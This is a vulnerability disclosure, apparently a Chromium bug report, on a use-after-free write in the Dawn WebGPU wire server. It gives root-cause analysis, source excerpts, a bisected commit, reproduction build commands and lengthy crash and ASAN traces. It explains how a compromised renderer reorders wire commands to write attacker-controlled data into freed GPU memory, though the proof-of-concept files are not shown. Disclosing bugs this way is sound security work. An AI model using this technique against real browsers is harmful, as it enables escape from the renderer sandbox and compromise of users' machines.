A use-after-free write exists in the Dawn wire server running in the GPU process. When a compromised renderer sends a DeviceDestroy wire command followed by BufferUpdateMappedData for a buffer that was created with mappedAtCreation, the server performs a memcpy into GPU buffer memory that has already been freed during device destruction. The dangling pointer is a raw uint8_t* stored in the wire server’s WriteHandle, which is not protected by raw_ptr, MiraclePtr, or any other mitigation. The attacker controls the write content (sourced from shared memory), offset, and size. This affects all platforms with WebGPU support.
Bisect
Introducing Commit: f93fa6acd96d77df9ef48f8f5ff78ea72cebf5ae (Dawn)
- Date: 2020-07-29
- Author: Corentin Wallez <[email protected]>
- Review: https://dawn-review.googlesource.com/c/dawn/+/25981
This commit implemented mappedAtCreation in the Dawn wire server by calling writeHandle->SetTarget(mapping, descriptor->size) inside DoDeviceCreateBuffer. The raw pointer stored via SetTarget was never invalidated on the DeviceDestroy path, creating the dangling pointer condition. A later commit (6e680fc56f, 2021-07-08) extended WriteHandle lifetime to persist across map/unmap cycles, widening the exploitable window, but the root gap has existed since this original commit.
Root Cause
Chromium’s WebGPU implementation uses the Dawn wire protocol to relay GPU commands from the renderer process to the GPU process. When a renderer creates a buffer with mappedAtCreation=true, the wire server obtains a pointer to the native mapped memory and stores it in a WriteHandle via SetTarget:
// third_party/dawn/src/dawn/wire/server/ServerBuffer.cpp
writeHandle->SetTarget(mapping);
buffer->mapWriteState = BufferMapWriteState::Mapped;
SetTarget stores this as a bare uint8_t*:
// third_party/dawn/src/dawn/wire/WireServer.cpp
void MemoryTransferService::WriteHandle::SetTarget(void* data) {
mTargetData = static_cast<uint8_t*>(data);
}
The field declaration confirms it is not wrapped in raw_ptr or any other safety abstraction:
// third_party/dawn/include/dawn/wire/WireServer.h
uint8_t* mTargetData = nullptr;
size_t mDataLength = 0;
When the renderer later sends a DeviceDestroy command, the wire server delegates directly to the native layer without cleaning up any per-buffer state:
// (auto-generated) third_party/dawn/src/dawn/wire/server/ServerDoers_autogen.cpp
WireResult Server::DoDeviceDestroy(WGPUDevice self) {
mProcs->deviceDestroy(self);
return WireResult::Success;
}
The native layer destroys all device-owned objects, including buffers. On Vulkan, this frees the underlying memory through the FencedDeleter:
// third_party/dawn/src/dawn/native/vulkan/BufferVk.cpp
void Buffer::DestroyImpl(DestroyReason reason) {
BufferBase::DestroyImpl(reason);
ToBackend(GetDevice())->GetResourceMemoryAllocator()->Deallocate(&mMemoryAllocation);
if (mHandle != VK_NULL_HANDLE) {
ToBackend(GetDevice())->GetFencedDeleter()->DeleteWhenUnused(mHandle);
mHandle = VK_NULL_HANDLE;
}
}
The FencedDeleter flushes all pending deletions during device teardown, calling vkFreeMemory which ultimately calls free() on the underlying heap allocation (in SwiftShader’s case via sw::freeMemory).
After the memory is freed, the wire server’s buffer->writeHandle still holds the stale mTargetData pointer, and buffer->mapWriteState is still BufferMapWriteState::Mapped. A subsequent BufferUpdateMappedData command passes all validation checks and reaches the memcpy:
// gpu/command_buffer/service/dawn_service_memory_transfer_service.cc
bool WriteHandleImpl::DeserializeDataUpdate(const void* deserialize_pointer,
size_t deserialize_size,
size_t offset,
size_t size) {
// ...bounds checks against targetData and buffer_data_view_...
UNSAFE_TODO(memcpy(static_cast<uint8_t*>(targetData.data()) + offset,
buffer_data_view_.data() + offset, size));
return true;
}
The targetData comes from GetTarget(), which returns a span over mTargetData, the now-dangling pointer. The source data (buffer_data_view_) points into renderer-controlled shared memory.
The gap exists because PreHandleBufferDestroy does clean up the WriteHandle on individual buffer destruction, but DoDeviceDestroy does not invoke equivalent cleanup for each buffer owned by the device. There is no iteration over associated buffers, no clearing of writeHandle, and no resetting of mapWriteState.
A compromised renderer exploits this by reordering the wire commands. In normal Blink code, GPUDevice::destroy() calls UnmapAllMappableBuffers() (which sends BufferUpdateMappedData) before GetHandle().Destroy() (which sends DeviceDestroy). By reversing this order, the renderer ensures DeviceDestroy frees the memory before BufferUpdateMappedData writes to it.
Reproduce
Tested on commit 3484f09b1620f6b7198fda97caf21b822d3df8ff on macOS and Ubuntu 22.04. This vulnerability exists on all platforms that support WebGPU (Windows, macOS, Linux, ChromeOS, Android).
Configure an ASAN build. A minimal args.gn for out/asan:
is_asan = true
is_debug = false
is_component_build = false
Build Chrome:
git apply patch.diff
autoninja -C out/asan chrome
Run Chrome:
# macOS
out/asan/Chromium.app/Contents/MacOS/Chromium --user-data-dir=./userdata poc.html
# Linux
out/asan/chrome --enable-unsafe-webgpu --user-data-dir=./userdata poc.html
On macOS, the native Metal backend allocates GPU buffer memory through vm_allocate/IOKit mapped memory, which lives outside the heap regions that ASAN instruments. When the buffer is destroyed and the VM pages are reclaimed by the OS, the subsequent memcpy hits unmapped virtual memory and produces a SEGV rather than an ASAN report. On Linux, --enable-unsafe-webgpu selects SwiftShader as the Vulkan backend. SwiftShader allocates GPU buffer memory via malloc (through sw::allocateZeroOrPoison), which ASAN fully instruments, so the dangling write produces a proper heap-use-after-free report. To obtain an ASAN report on macOS, pass --use-webgpu-adapter=swiftshader --enable-unsafe-webgpu to force the SwiftShader backend.
SEGV on macOS (native Metal backend):
Received signal 11 SEGV_ACCERR 0001341f4000
[0x00035c2633c8]
[0x00035c237198]
[0x00035c2631fc]
[0x000180743744]
[0x000104a41994]
[0x0003623fe9dc]
[0x0003623c0ee0]
[0x0003623cd95c]
[0x0003623d712c]
[0x00036240ada4]
[0x00036240b1a8]
[0x000362401144]
[0x000351a5af0c]
[0x000362316cc0]
[0x000362315e10]
[0x00036233470c]
[0x0003623403ac]
[0x0003623401c4]
[0x000351a93d5c]
[0x000351a6e83c]
[0x000351a6ced4]
[0x000351a70270]
[0x00035c0fb574]
[0x00035c163318]
[0x00035c1626d0]
[0x00035c284a8c]
[0x00035c2761d8]
[0x00035c282edc]
[0x0001807d89f8]
[0x0001807d898c]
[0x0001807d86f8]
[0x0001807d7388]
[0x000180891e34]
[0x000182a26964]
[0x00035c285bdc]
[0x00035c281c44]
[0x00035c164678]
[0x00035c089820]
[0x00036546ae9c]
[0x0003587c9b64]
[0x0003587cbce4]
[0x0003587c7854]
[0x0003587c7d44]
[0x000349c4dcb8]
[0x000104640c98]
[0x000180371d54]
[end of stack trace]
ASAN output on Linux (SwiftShader backend via --enable-unsafe-webgpu):
=================================================================
==154737==ERROR: AddressSanitizer: heap-use-after-free on address 0x71787d175900 at pc 0x5eec4ca260ae bp 0x7ffe523cc350 sp 0x7ffe523cbb10
WRITE of size 16777216 at 0x71787d175900 thread T0 (chrome)
#0 0x5eec4ca260ad in __asan_memcpy (/home/test/Desktop/chromium/src/out/asan/chrome+0x10e810ad) (BuildId: 285b4624b4b2a3a5)
#1 0x5eec6e07c0a4 in gpu::webgpu::(anonymous namespace)::WriteHandleImpl::DeserializeDataUpdate(void const*, unsigned long, unsigned long, unsigned long) gpu/command_buffer/service/dawn_service_memory_transfer_service.cc:123:17
#2 0x5eec6e0c9709 in dawn::wire::server::Server::DoBufferUpdateMappedData(dawn::wire::server::Known<WGPUBufferImpl*>, unsigned long, unsigned char const*, unsigned long, unsigned long) third_party/dawn/src/dawn/wire/server/ServerBuffer.cpp:248:37
#3 0x5eec6e0a68eb in dawn::wire::server::Server::HandleBufferUpdateMappedData(dawn::wire::DeserializeBuffer*) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:101:18
#4 0x5eec6e0b1c8a in dawn::wire::server::Server::HandleCommands(char const volatile*, unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:1676:30
#5 0x5eec6e06c317 in gpu::webgpu::(anonymous namespace)::DawnWireServer::HandleCommands(char const volatile*, unsigned long) gpu/command_buffer/service/webgpu_decoder_impl.cc:155:33
#6 0x5eec6e06c78d in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::HandleDawnCommands(unsigned int, void const volatile*) gpu/command_buffer/service/webgpu_decoder_impl.cc:1988:22
#7 0x5eec6e060682 in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::DoCommands(unsigned int, void const volatile*, int, int*) gpu/command_buffer/service/webgpu_decoder_impl.cc:1933:18
#8 0x5eec5763b814 in gpu::CommandBufferService::Flush(int, gpu::AsyncAPIInterface*) gpu/command_buffer/service/command_buffer_service.cc:267:35
#9 0x5eec6d79a62b in gpu::CommandBufferStub::OnAsyncFlush(int, unsigned int, std::__Cr::vector<gpu::SyncToken, std::__Cr::allocator<gpu::SyncToken>> const&) gpu/ipc/service/command_buffer_stub.cc:504:22
#10 0x5eec6d799891 in gpu::CommandBufferStub::ExecuteDeferredRequest(gpu::mojom::DeferredCommandBufferRequestParams&, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/command_buffer_stub.cc:173:7
#11 0x5eec6d7bc97c in gpu::GpuChannel::ExecuteDeferredRequest(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/gpu_channel.cc:833:13
#12 0x5eec6d7ca967 in void base::internal::DecayedFunctorTraits<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>::Invoke<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&, gpu::FenceSyncReleaseDelegate*&&) base/functional/bind_internal.h:740:12
#13 0x5eec6d7ca749 in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, base::internal::BindState<true, true, false, void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, void (gpu::FenceSyncReleaseDelegate*)>::RunOnce(base::internal::BindStateBase*, gpu::FenceSyncReleaseDelegate*) base/functional/bind_internal.h:956:5
#14 0x5eec5767e211 in void base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>&&, gpu::FenceSyncReleaseDelegate*>, base::internal::BindState<false, true, true, base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>, base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunImpl<base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>, std::__Cr::tuple<base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, 0ul>(base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>&&, std::__Cr::tuple<base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&, std::__Cr::integer_sequence<unsigned long, 0ul>) base/functional/callback.h:155:12
#15 0x5eec57652957 in gpu::Scheduler::ExecuteSequence(base::IdType<gpu::SyncPointOrderData, unsigned int, 0u, 1u>) base/functional/callback.h:155:12
#16 0x5eec57650988 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:625:3
#17 0x5eec57654571 in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::Scheduler::*&&)(), gpu::Scheduler*>, base::internal::BindState<true, true, false, void (gpu::Scheduler::*)(), base::internal::UnretainedWrapper<gpu::Scheduler, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#18 0x5eec64210c76 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#19 0x5eec64288459 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#20 0x5eec642872ca in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#21 0x5eec64435e74 in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_glib.cc:782:48
#22 0x5eec64289b67 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#23 0x5eec6418c210 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#24 0x5eec6fb5379c in content::GpuMain(content::MainFunctionParams) content/gpu/gpu_main.cc:479:14
#25 0x5eec5fe67e3f in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:664:14
#26 0x5eec5fe6916f in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:771:12
#27 0x5eec5fe6be78 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1152:10
#28 0x5eec5fe65851 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
#29 0x5eec5fe65e4c in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
#30 0x5eec4ca62b39 in ChromeMain chrome/app/chrome_main.cc:191:12
#31 0x757a1a229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x71787d175900 is located 256 bytes inside of 16777495-byte region [0x71787d175800,0x71787e175917)
freed by thread T0 (chrome) here:
#0 0x5eec4ca28086 in free (/home/test/Desktop/chromium/src/out/asan/chrome+0x10e83086) (BuildId: 285b4624b4b2a3a5)
#1 0x71789987f42c in vk::DeviceMemory::freeBuffer() third_party/swiftshader/src/Vulkan/VkDeviceMemory.cpp:354:2
#2 0x71789987f1f8 in vk::DeviceMemory::destroy(VkAllocationCallbacks const*) third_party/swiftshader/src/Vulkan/VkDeviceMemory.cpp:162:3
#3 0x7178998d37af in vkFreeMemory third_party/swiftshader/src/Vulkan/VkDestroy.hpp:61:11
#4 0x5eec4ec44fcf in dawn::native::vulkan::FencedDeleter::UpdateCompletedSerialTo(unsigned long) third_party/dawn/src/dawn/native/vulkan/FencedDeleter.cpp:88:30
#5 0x5eec4e8fd68f in dawn::native::ExecutionQueueBase::WaitForIdleForDestruction() third_party/dawn/src/dawn/native/ExecutionQueue.cpp:184:24
#6 0x5eec4e883c05 in dawn::native::DeviceBase::Destroy(dawn::native::DestroyReason) third_party/dawn/src/dawn/native/Device.cpp:681:34
#7 0x5eec4e71e8a2 in dawn::native::NativeDeviceDestroy(WGPUDeviceImpl*) gen/third_party/dawn/src/dawn/native/ProcTable.cpp:946:15
#8 0x5eec6e0be92d in dawn::wire::server::Server::DoDeviceDestroy(WGPUDeviceImpl*) gen/third_party/dawn/src/dawn/wire/server/ServerDoers_autogen.cpp:494:9
#9 0x5eec6e0b323b in dawn::wire::server::Server::HandleCommands(char const volatile*, unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:692:18
#10 0x5eec6e06c317 in gpu::webgpu::(anonymous namespace)::DawnWireServer::HandleCommands(char const volatile*, unsigned long) gpu/command_buffer/service/webgpu_decoder_impl.cc:155:33
#11 0x5eec6e06c78d in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::HandleDawnCommands(unsigned int, void const volatile*) gpu/command_buffer/service/webgpu_decoder_impl.cc:1988:22
#12 0x5eec6e060682 in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::DoCommands(unsigned int, void const volatile*, int, int*) gpu/command_buffer/service/webgpu_decoder_impl.cc:1933:18
#13 0x5eec5763b814 in gpu::CommandBufferService::Flush(int, gpu::AsyncAPIInterface*) gpu/command_buffer/service/command_buffer_service.cc:267:35
#14 0x5eec6d79a62b in gpu::CommandBufferStub::OnAsyncFlush(int, unsigned int, std::__Cr::vector<gpu::SyncToken, std::__Cr::allocator<gpu::SyncToken>> const&) gpu/ipc/service/command_buffer_stub.cc:504:22
#15 0x5eec6d799891 in gpu::CommandBufferStub::ExecuteDeferredRequest(gpu::mojom::DeferredCommandBufferRequestParams&, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/command_buffer_stub.cc:173:7
#16 0x5eec6d7bc97c in gpu::GpuChannel::ExecuteDeferredRequest(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/gpu_channel.cc:833:13
#17 0x5eec6d7ca967 in void base::internal::DecayedFunctorTraits<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>::Invoke<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&, gpu::FenceSyncReleaseDelegate*&&) base/functional/bind_internal.h:740:12
#18 0x5eec6d7ca749 in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, base::internal::BindState<true, true, false, void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, void (gpu::FenceSyncReleaseDelegate*)>::RunOnce(base::internal::BindStateBase*, gpu::FenceSyncReleaseDelegate*) base/functional/bind_internal.h:956:5
#19 0x5eec5767e211 in void base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>&&, gpu::FenceSyncReleaseDelegate*>, base::internal::BindState<false, true, true, base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>, base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunImpl<base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>, std::__Cr::tuple<base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, 0ul>(base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>&&, std::__Cr::tuple<base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&, std::__Cr::integer_sequence<unsigned long, 0ul>) base/functional/callback.h:155:12
#20 0x5eec57652957 in gpu::Scheduler::ExecuteSequence(base::IdType<gpu::SyncPointOrderData, unsigned int, 0u, 1u>) base/functional/callback.h:155:12
#21 0x5eec57650988 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:625:3
#22 0x5eec57654571 in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::Scheduler::*&&)(), gpu::Scheduler*>, base::internal::BindState<true, true, false, void (gpu::Scheduler::*)(), base::internal::UnretainedWrapper<gpu::Scheduler, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#23 0x5eec64210c76 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#24 0x5eec64288459 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#25 0x5eec642872ca in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#26 0x5eec64435538 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
#27 0x5eec64438af8 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
#28 0x757a1b72dd3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
previously allocated by thread T0 (chrome) here:
#0 0x5eec4ca28324 in malloc (/home/test/Desktop/chromium/src/out/asan/chrome+0x10e83324) (BuildId: 285b4624b4b2a3a5)
#1 0x717899d6bf1d in sw::allocateZeroOrPoison(unsigned long, unsigned long) third_party/swiftshader/src/System/Memory.cpp:81:42
#2 0x71789987f3c4 in vk::DeviceMemory::allocateBuffer() third_party/swiftshader/src/Vulkan/VkDeviceMemory.cpp:342:11
#3 0x71789987e024 in vk::DeviceMemory::Allocate(VkAllocationCallbacks const*, VkMemoryAllocateInfo const*, VkNonDispatchableHandle<VkDeviceMemory_T*>*, vk::Device*) third_party/swiftshader/src/Vulkan/VkDeviceMemory.cpp:275:12
#4 0x7178998d36a7 in vkAllocateMemory third_party/swiftshader/src/Vulkan/libVulkan.cpp:1421:20
#5 0x5eec4eca20a9 in dawn::native::vulkan::ResourceMemoryAllocator::SingleTypeAllocator::AllocateResourceHeap(unsigned long) third_party/dawn/src/dawn/native/vulkan/ResourceMemoryAllocatorVk.cpp:113:35
#6 0x5eec4ec9ebfa in dawn::native::vulkan::ResourceMemoryAllocator::Allocate(VkMemoryRequirements const&, dawn::native::vulkan::MemoryKind, bool) third_party/dawn/src/dawn/native/vulkan/ResourceMemoryAllocatorVk.cpp:241:67
#7 0x5eec4ec03eb2 in dawn::native::vulkan::Buffer::Initialize(bool) third_party/dawn/src/dawn/native/vulkan/BufferVk.cpp:293:59
#8 0x5eec4ec02ca6 in dawn::native::vulkan::Buffer::Create(dawn::native::vulkan::Device*, dawn::native::UnpackedPtr<dawn::native::BufferDescriptor> const&) third_party/dawn/src/dawn/native/vulkan/BufferVk.cpp:219:26
#9 0x5eec4ec316b7 in dawn::native::vulkan::Device::CreateBufferImpl(dawn::native::UnpackedPtr<dawn::native::BufferDescriptor> const&) third_party/dawn/src/dawn/native/vulkan/DeviceVk.cpp:213:12
#10 0x5eec4e88e50b in dawn::native::DeviceBase::APICreateBuffer(dawn::native::BufferDescriptor const*) third_party/dawn/src/dawn/native/Device.cpp:1339:20
#11 0x5eec6e0c8c2c in dawn::wire::server::Server::DoDeviceCreateBuffer(dawn::wire::server::Known<WGPUDeviceImpl*>, WGPUBufferDescriptor const*, dawn::wire::ObjectHandle, unsigned long, unsigned char const*, unsigned long, unsigned char const*) third_party/dawn/src/dawn/wire/server/ServerBuffer.cpp:142:22
#12 0x5eec6e0a831c in dawn::wire::server::Server::HandleDeviceCreateBuffer(dawn::wire::DeserializeBuffer*) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:463:18
#13 0x5eec6e0b0648 in dawn::wire::server::Server::HandleCommands(char const volatile*, unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:1778:30
#14 0x5eec6e06c317 in gpu::webgpu::(anonymous namespace)::DawnWireServer::HandleCommands(char const volatile*, unsigned long) gpu/command_buffer/service/webgpu_decoder_impl.cc:155:33
#15 0x5eec6e06c78d in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::HandleDawnCommands(unsigned int, void const volatile*) gpu/command_buffer/service/webgpu_decoder_impl.cc:1988:22
#16 0x5eec6e060682 in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::DoCommands(unsigned int, void const volatile*, int, int*) gpu/command_buffer/service/webgpu_decoder_impl.cc:1933:18
#17 0x5eec5763b814 in gpu::CommandBufferService::Flush(int, gpu::AsyncAPIInterface*) gpu/command_buffer/service/command_buffer_service.cc:267:35
#18 0x5eec6d79a62b in gpu::CommandBufferStub::OnAsyncFlush(int, unsigned int, std::__Cr::vector<gpu::SyncToken, std::__Cr::allocator<gpu::SyncToken>> const&) gpu/ipc/service/command_buffer_stub.cc:504:22
#19 0x5eec6d799891 in gpu::CommandBufferStub::ExecuteDeferredRequest(gpu::mojom::DeferredCommandBufferRequestParams&, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/command_buffer_stub.cc:173:7
#20 0x5eec6d7bc97c in gpu::GpuChannel::ExecuteDeferredRequest(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/gpu_channel.cc:833:13
#21 0x5eec6d7ca967 in void base::internal::DecayedFunctorTraits<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>::Invoke<void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel> const&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&, gpu::FenceSyncReleaseDelegate*&&) base/functional/bind_internal.h:740:12
#22 0x5eec6d7ca749 in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::*&&)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>&&, mojo::StructPtr<gpu::mojom::DeferredRequestParams>&&>, base::internal::BindState<true, true, false, void (gpu::GpuChannel::*)(mojo::StructPtr<gpu::mojom::DeferredRequestParams>, gpu::FenceSyncReleaseDelegate*), base::WeakPtr<gpu::GpuChannel>, mojo::StructPtr<gpu::mojom::DeferredRequestParams>>, void (gpu::FenceSyncReleaseDelegate*)>::RunOnce(base::internal::BindStateBase*, gpu::FenceSyncReleaseDelegate*) base/functional/bind_internal.h:956:5
#23 0x5eec5767e211 in void base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>&&, gpu::FenceSyncReleaseDelegate*>, base::internal::BindState<false, true, true, base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>, base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunImpl<base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>, std::__Cr::tuple<base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, 0ul>(base::OnceCallback<void (gpu::FenceSyncReleaseDelegate*)>&&, std::__Cr::tuple<base::internal::UnretainedWrapper<gpu::FenceSyncReleaseDelegate, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&, std::__Cr::integer_sequence<unsigned long, 0ul>) base/functional/callback.h:155:12
#24 0x5eec57652957 in gpu::Scheduler::ExecuteSequence(base::IdType<gpu::SyncPointOrderData, unsigned int, 0u, 1u>) base/functional/callback.h:155:12
#25 0x5eec57650988 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:625:3
#26 0x5eec57654571 in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::Scheduler::*&&)(), gpu::Scheduler*>, base::internal::BindState<true, true, false, void (gpu::Scheduler::*)(), base::internal::UnretainedWrapper<gpu::Scheduler, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#27 0x5eec64210c76 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#28 0x5eec64288459 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#29 0x5eec642872ca in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
SUMMARY: AddressSanitizer: heap-use-after-free (/home/test/Desktop/chromium/src/out/asan/chrome+0x10e810ad) (BuildId: 285b4624b4b2a3a5) in __asan_memcpy
Shadow bytes around the buggy address:
0x71787d175680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x71787d175700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x71787d175780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
